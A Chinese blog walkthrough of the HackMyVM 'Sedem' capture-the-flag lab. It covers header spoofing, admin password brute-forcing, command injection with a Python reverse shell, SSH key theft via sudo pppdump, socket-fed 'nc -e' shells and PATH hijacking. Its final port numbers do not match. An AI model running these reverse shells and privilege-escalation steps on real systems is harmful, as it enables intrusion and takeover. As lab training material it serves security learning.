渗透靶场——HackMyVM:Sedem

部署环境

提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可

kali攻击机ip地址:192.168.1.11(桥接)

靶机ip地址:(桥接自动获取ip)

信息收集

扫描主机

arp-scan -l

在这里插入图片描述
发现存活主机ip地址
192.168.1.7

扫描端口

扫描靶机开放的服务端口

nmap -p- -A 192.168.1.7

在这里插入图片描述
发现也就是22和80端口正常开放,那接下来还是老套路,对80web端口开始渗透

Web渗透

http://192.168.1.7/

在这里插入图片描述只有一张图片,并没有什么东西,那就直接目录扫描看一下

目录扫描

在这里插入图片描述发现了三个目录,挨个访问一下看看

http://192.168.1.7/icons

在这里插入图片描述这个就直接挂了,再看看下一个
在这里插入图片描述这就是一个Apache的界面,再看一下最后一个

http://192.168.1.7/sysadmin/

在这里插入图片描述

伪造IP访问

感觉应该是最后一个是突破点,试过域名,但是明显就不对,那就试试x-forward-for试试
在这里插入图片描述发现这个是可以的,对于登录框界面,这个在我以往的博客中有介绍,具体该怎么做,大家到时候可以去看一下,这个没有验证码,也没有别的,就是用来爆破,直接上bp就行

暴力破解

设置bp抓包,感觉对于这种靶场来说,用户名应该没什么问题,都是admin,主要就是密码,所以我们假设用户名是admin,爆破密码试试
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述最终尝试得到用户名密码,

用户名:admin
密码:fucker1

在这里插入图片描述然后发现还是system权限,界面在收集收集信息看看
在这里插入图片描述发现说执行什么都行,那就进行尝试,但是这个时候突然出现个问题,就是到底那个参数才是这个正确的呢,这就很尴尬了,所以还是得用bp进行爆破,尝试得到正确的参数

在这里插入图片描述在这里插入图片描述拿到参数,我们试下效果

http://192.168.1.7/sysadmin/system/?mission=id

在这里插入图片描述现在可以反弹shell到攻击机上

反弹Shell

1、攻击机监听4444端口

nc -lvvp 4444

在这里插入图片描述
2、执行反弹shell命令

http://192.168.1.7/sysadmin/system/?mission=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

反弹成功,互换到交互式shell

python3 -c ‘import pty;pty.spawn("/bin/bash")’

在这里插入图片描述

切换完,找一下主机的敏感信息

cat /etc/passwd

在这里插入图片描述
找到3个用户

提权

sudo -l

在这里插入图片描述切换完看看有没有什么敏感的信息,

找到可以使用user1身份执行pppdump命令,先看下这个pppdump是什么文件

man pppdump

在这里插入图片描述这是转换ppp文件为可读格式的工具,尝试读取文件

pppdump index.php

在这里插入图片描述好像可以读,但是变成了16进制,试着读取用户目录下的id_rsa文件

sudo -u user1 pppdump /home/user1/.ssh/id_rsa

在这里插入图片描述有id_rsa文件,把内容保存下来再去转换

cd /tmp
sudo -u user1 pppdump /home/user1/.ssh/id_rsa >id_rsa

在这里插入图片描述
把文件拿去解一下

https://icyberchef.com/#recipe=From_Hex(‘Auto’)

在这里插入图片描述

把key保存到攻击机上,SSH登录到靶机

vi id_rsa
chmod 600 id_rsa
ssh [email protected] -i id_rsa

在这里插入图片描述登录成功,再来找找提权信息

sudo -l

在这里插入图片描述
找到可以使用user2用户的身份执行code.py脚本,看一下这个脚本是干什么的

cd /home/user2/socket
cat code.py

在这里插入图片描述这个脚本会通过socket.SOCK_STREAM接收数据,如果接收到了就会执行收到的命令,验证一下

需要建立两个SSH连接,一个执行code.py,另一个发送数据,另外攻击机上还要监听3333端口用来接收反弹回来的shell

SSH连接1

sudo -u user2 /usr/bin/python /home/user2/socket/code.py

在这里插入图片描述
SSH连接2

echo ‘nc 192.168.1.11 3333 -e “/bin/bash”’ | socat - UNIX-CLIENT:/home/user2/socket/socket_test.s

在这里插入图片描述攻击机

nc -lvvp 3333

在这里插入图片描述接收到shell,切换下交互式shell

python3 -c ‘import pty;pty.spawn("/bin/bash")’

在这里插入图片描述切换完成,寻找提权的方法

cd /home/user3
ls -al

这个时候有同学要说了,那你为什么不用sudo -l呢,这个问得好,,,因为你是用秘钥登录进来的,不是密码
在这里插入图片描述继续看看目录里面
在这里插入图片描述
user3用户目录下发现隐藏文件.privacy.txt,看一下内容

cat .privacy.txt

在这里插入图片描述一段加密的字符串看着像md5,拿去试试
在这里插入图片描述拿到密码,切换到user3

su user3
cd /home/user3
ls
cat TODO.txt

在这里插入图片描述在这里插入图片描述在TODO.txt文件中找到提示,让我们查找user.txt,但是执行find命令,提示没有权限 ,只能手动查找了

cd /opt
ls -al

在这里插入图片描述user.txt没找到,找到一个提权命令,来看看这个命令执行了哪些命令

strings check

在这里插入图片描述
我们到/tmp目录下创建service命令,再劫持环境变量达到提权

攻击机监听1234端口

nc -lvp 1234

在这里插入图片描述

cd /tmp
echo ‘nc 192.168.1.11 1134 -e “/bin/bash”’ >service
chmod +x service
/opt/check

在这里插入图片描述在这里插入图片描述

但是我就是监听不到不知道为什么,只能直接借用大佬的了
在这里插入图片描述提权成功,找一下flag

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/tlovejr/article/details/123794296